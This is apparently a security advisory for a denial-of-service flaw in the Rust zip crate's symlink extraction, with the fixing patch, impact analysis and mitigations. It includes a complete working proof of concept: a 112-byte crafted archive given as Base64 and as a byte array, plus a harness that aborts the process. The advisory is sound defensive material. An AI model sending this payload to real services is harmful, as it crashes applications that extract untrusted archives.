CVE-2026-115909: Unbounded Symlink-Target Allocation Causes Process Abort in Rust zip Crate

The zip crate (maintained in the zip-rs/zip2 repository) is a widely deployed Rust library for parsing and generating ZIP archives. Applications use ZipArchive::extract to unpack archive contents into a target directory on the local filesystem. This high-level convenience method handles directories, standard files, and symbolic links automatically across supported operating systems.

In versions 1.3.0 through 8.6.0 (including 9.0.0 pre-releases), the symbolic link extraction routine contains a memory allocation flaw classified under CWE-789 (Memory Allocation with Excessive Size Value) and CWE-400 (Uncontrolled Resource Consumption). When encountering an entry flagged as a symbolic link, the extraction logic pre-allocates a heap buffer to hold the symlink target path using Vec::with_capacity. The capacity argument passed to this constructor is derived directly from the entry's declared uncompressed size in the ZIP central directory.

Because the declared uncompressed size is read straight from untrusted archive metadata prior to reading any payload bytes, an attacker can craft a compact archive that claims a multi-exabyte symlink target. When Vec::with_capacity requests an allocation that exceeds available virtual memory, the Rust standard library invokes its infallible allocation failure handler (alloc::alloc::handle_alloc_error).

Unlike a standard Rust panic, an allocation error does not unwind the stack. It immediately terminates the host process by raising SIGABRT. Consequently, multi-threaded web servers, background job processors, or security scanners that extract untrusted ZIP archives in worker threads cannot recover from the failure using std::panic::catch_unwind, resulting in a complete denial of service.

The root cause of CVE-2026-115909 lies in the unconditional trust placed in two unverified fields within the ZIP Central Directory header during execution of ZipArchive::extract in src/read/mod.rs (and ZipStreamReader in src/read/stream.rs). When iterating over archive entries on Unix or Windows targets, the code checks whether the current entry represents a symbolic link before extracting it.

First, ZipFile::is_symlink() inspects the upper 16 bits of the 32-bit external_file_attributes field in the central directory record. If these bits match the Unix file type bitmask S_IFLNK (0o120000 or 0xA000), the library treats the entry as a symbolic link. Second, ZipFile::size() retrieves the uncompressed_size value stored in the header. While standard ZIP headers limit this field to 32 bits (4 GiB), including a ZIP64 Extended Information Extra Field (Header ID 0x0001) widens uncompressed_size to a full 64-bit unsigned integer (u64).

Neither value is cross-checked against the compressed payload size, the physical length of the archive file on disk, or platform-specific path length limits before buffer allocation occurs. In the vulnerable code path, file.size() as usize is passed directly to Vec::with_capacity. In Rust, Vec::with_capacity is designed as an infallible allocation API; it assumes sufficient memory exists and provides no Result return type for callers to handle allocator refusal gracefully.

The exact behavior of the failure depends on the numerical band of the declared size on 64-bit architectures:

• Size $\ge 2^{63}$ bytes (0x8000_0000_0000_0000): Values exceeding isize::MAX trip a bounds check inside Rust's RawVec implementation before reaching the system allocator. This raises a standard, unwindable panic (capacity overflow) that applications can catch via std::panic::catch_unwind.
• Size $\approx 2^{62}$ bytes (0x4000_0000_0000_0000): A value of 4.61 exabytes passes the isize::MAX sanity check and is forwarded to the OS memory allocator (malloc or mmap). Because 4.61 exabytes exceeds the 47-bit or 57-bit user-space virtual address limit on x86_64 and AArch64 platforms, the OS kernel immediately refuses the virtual address space reservation. The Rust runtime catches this null pointer return and calls alloc::alloc::handle_alloc_error(), which aborts the process.
• Constrained Environments: In containerized deployments or processes restricted by ulimit -v or cgroup memory limits, even standard 32-bit sizes (e.g., 2 GiB) without ZIP64 extensions will exceed the permitted address space and trigger the same uncatchable abort.

Prior to version 9.0.0, both ZipArchive::extract_internal in src/read/mod.rs and ZipStreamReader in src/read/stream.rs contained identical vulnerable patterns when handling symbolic links. When file.is_symlink() evaluated to true, the library immediately allocated a buffer matching the entry's declared uncompressed size and read the stream to completion.

// Vulnerable implementation in src/read/mod.rs (prior to 9.0.0)
#[cfg(any(unix, windows))]
if file.is_symlink() {
    // BUG: file.size() is controlled by the ZIP central directory / ZIP64 header.
    // If file.size() is e.g. 2^62, Vec::with_capacity aborts the process immediately.
    let mut target = Vec::with_capacity(file.size() as usize);
    file.read_to_end(&mut target)?;
    drop(file);
    make_symlink(&outpath, &target, &self.shared.files)?;
    continue;
}

In commit a543a1fc8f3f3eef36f27bb137230295284cdb98 (Pull Request #984), the maintainers addressed the vulnerability by recognizing the semantic domain of a symbolic link target. Because a symlink target is a filesystem path, it cannot legitimately exceed operating system path length boundaries (such as PATH_MAX, which is 4,096 bytes on Linux). The patch defines a crate-wide constant MAX_SYMLINK_TARGET_LEN set to 4096 bytes and validates file.size() against this threshold before performing any heap allocation.

--- a/src/read/mod.rs
+++ b/src/read/mod.rs
@@ -15,6 +15,14 @@ use std::io::{self, Read, Seek, Write};
 use std::path::Path;
 use std::sync::OnceLock;
 
+/// Upper bound on the uncompressed size of a symlink entry.
+///
+/// A symlink target is a filesystem path, so its length is bounded by the
+/// platform (`PATH_MAX` is 4096 on Linux) no matter what the archive says. The
+/// uncompressed size stored in the central directory is attacker-controlled,
+/// so entries above this bound are rejected rather than pre-allocated.
+pub(crate) const MAX_SYMLINK_TARGET_LEN: u64 = 4096;
+
 mod config;
 pub use config::{ArchiveOffset, Config};
 
@@ -395,7 +403,22 @@ impl<R: Read + Seek> ZipArchive<R> {
 
             #[cfg(any(unix, windows))]
             if file.is_symlink() {
-                let mut target = Vec::with_capacity(file.size() as usize);
+                let declared_len = file.size();
+                // Validate untrusted size before allocation
+                if declared_len > MAX_SYMLINK_TARGET_LEN {
+                    return Err(invalid!(
+                        "symlink target declares {} bytes, more than the {} byte limit",
+                        declared_len,
+                        MAX_SYMLINK_TARGET_LEN
+                    ));
+                }
+
+                let mut target = Vec::with_capacity(declared_len as usize);
                 file.read_to_end(&mut target)?;
                 drop(file);
                 make_symlink(&outpath, &target, &self.shared.files)?;

The identical validation logic was applied to ZipStreamReader in src/read/stream.rs. Evaluating the completeness of this fix reveals one subtle consideration: while Vec::with_capacity(declared_len as usize) is now strictly bounded to at most 4,096 bytes, the subsequent call to file.read_to_end(&mut target)? reads from the decompressor stream until EOF.

In zip crate's ZipFile reader implementation, standard reads are bounded by the stream's uncompressed_size limit or CRC validation, preventing an attacker from declaring a 0-byte size in the header while streaming gigabytes of deflate-compressed zeros into target. However, note that in src/read/stream.rs, the code comment explicitly states // Not used because we don't have the external attributes inside if file.is_symlink(), indicating the streaming reader path cannot currently enter that branch during normal operation unless attributes are populated, though hardening it prevents regressions.

Exploiting CVE-2026-115909 requires no authentication or complex interaction; the attacker only needs to supply a crafted ZIP file to an application that invokes ZipArchive::extract. Because the allocation happens before any entry payload data is read or decompressed, the archive does not need to contain actual compressed data (unlike a traditional ZIP bomb). A valid trigger archive can be constructed in exactly 112 bytes.

To build the 112-byte exploit payload, an attacker constructs a Local File Header, a Central Directory Header, and an End of Central Directory (EOCD) record for a single 1-byte filename ("a") using compression method 0 (Stored) and zero bytes of actual file data:

1. Both the Local File Header and Central Directory Header set their 32-bit compressed_size and uncompressed_size fields to the ZIP64 sentinel value 0xFFFFFFFF.
2. The Central Directory Header sets version_made_by to 0x031E (Unix) and external_file_attributes to 0xA1FF0000, which encodes S_IFLNK | 0o777 in the upper 16 bits.
3. A 20-byte ZIP64 Extended Information Extra Field (0x0001) is appended to the entry, setting the 64-bit uncompressed_size to 0x4000000000000000 ($2^{62}$ bytes, or 4,611,686,018,427,387,904 bytes) and compressed_size to 0.

Below is the complete 112-byte proof-of-concept archive encoded in Base64, along with a minimal Rust harness demonstrating the uncatchable abort:

// Base64 representation of the 112-byte malicious ZIP archive:
// UEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP//
// //8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA==
 
use std::io::Cursor;
use zip::ZipArchive;
 
fn main() {
    // Decode the 112-byte payload or build it in memory
    let payload: &[u8] = &[
        0x50, 0x4b, 0x03, 0x04, 0x2d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00,
        0x00, 0x00, 0x61, 0x50, 0x4b, 0x01, 0x02, 0x1e, 0x03, 0x2d, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff,
        0xff, 0xff, 0xff, 0x01, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0xff, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x61, 0x01, 0x00,
        0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x50, 0x4b,
        0x05, 0x06, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x3b, 0x00,
        0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00
    ];
 
    let outdir = std::env::temp_dir().join("zip_cve_2026_115909");
    std::fs::create_dir_all(&outdir).unwrap();
 
    // Even wrapping extraction in catch_unwind cannot prevent process death
    let res = std::panic::catch_unwind(|| {
        let mut archive = ZipArchive::new(Cursor::new(payload)).unwrap();
        let _ = archive.extract(&outdir);
    });
 
    // This line is never reached
    println!("Extraction completed: {:?}", res);
}

When executed against any version of zip between 1.3.0 and 8.6.0 on a Linux or Windows host, the process immediately terminates before printing the completion message:

memory allocation of 4611686018427387904 bytes failed
Aborted (core dumped)

> [!NOTE] > The upstream regression test (tests/extract_symlink.rs) verifies this behavior across three distinct malicious boundary values: 1u64 << 40 (1 TiB), 1u64 << 62 (4 EiB), and u64::MAX, ensuring that all three return a recoverable ZipError::InvalidArchive error rather than panicking or aborting.

The primary security impact of CVE-2026-115909 is a high-severity Denial of Service (DoS), reflected by its CVSS v3.1 score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). The vulnerability does not permit out-of-bounds memory reads, buffer overflows, or arbitrary code execution because Rust's allocator safely intercepts the oversized reservation request before any memory corruption can occur. Confidentiality and integrity of host data remain unaffected.

However, the availability impact is acute for Rust applications due to the mechanics of handle_alloc_error(). In the Rust ecosystem, developers frequently rely on thread isolation and std::panic::catch_unwind to build fault-tolerant services where a malformed input crashes only the current request handler or worker task. Because an out-of-memory abort bypasses stack unwinding entirely and delivers SIGABRT to the process group, a single 112-byte HTTP upload can terminate an entire multi-tenant web server or microservice instance.

Furthermore, if an attacker tunes the declared uncompressed_size to a value just below the host's physical and swap memory limits (for example, several gigabytes instead of 4 exabytes) while supplying matching compressed payload streams, the application will successfully reserve the heap capacity and populate the pages during read_to_end. This secondary failure mode causes rapid physical memory exhaustion and can trigger the operating system's Out-Of-Memory (OOM) killer.

The definitive remediation is to upgrade the zip crate dependency to version 9.0.0 or later. Version 9.0.0 enforces the MAX_SYMLINK_TARGET_LEN (4,096 bytes) check prior to memory allocation in both ZipArchive::extract and ZipStreamReader, converting the fatal process abort into a standard Result::Err(ZipError::InvalidArchive) return value.

Update Cargo.toml to require the patched release and refresh the lockfile:

[dependencies]
zip = ">= 9.0.0"

For projects that cannot immediately migrate to major version 9.0.0 due to breaking API changes across major versions, developers can implement a pre-extraction validation pass before calling archive.extract(). By iterating through the central directory entries and inspecting metadata first, applications can reject archives containing oversized symlink declarations before reaching the vulnerable allocation path:

use std::io::{Read, Seek};
use std::path::Path;
use zip::result::{ZipError, ZipResult};
use zip::ZipArchive;
 
const MAX_SYMLINK_TARGET_LEN: u64 = 4096;
 
pub fn safe_extract<R: Read + Seek, P: AsRef<Path>>(
    archive: &mut ZipArchive<R>,
    directory: P,
) -> ZipResult<()> {
    for i in 0..archive.len() {
        let file = archive.by_index_raw(i)?;
        if file.is_symlink() && file.size() > MAX_SYMLINK_TARGET_LEN {
            return Err(ZipError::InvalidArchive(
                "symlink target exceeds 4096 byte limit".into(),
            ));
        }
    }
    archive.extract(directory)
}

> [!NOTE] > Using by_index_raw(i) during the pre-validation pass avoids initializing the decompression stream for each entry, making the pre-check fast even on archives with thousands of entries.

Finally, architecture teams designing services that parse untrusted archive formats (ZIP, TAR, 7z) should execute extraction routines inside isolated child processes (e.g., via std::process::Command with strict cgroup memory limits) rather than in-process async tasks or threads. Subprocess isolation guarantees that an unexpected allocator abort or OOM termination does not take down the main application supervisor.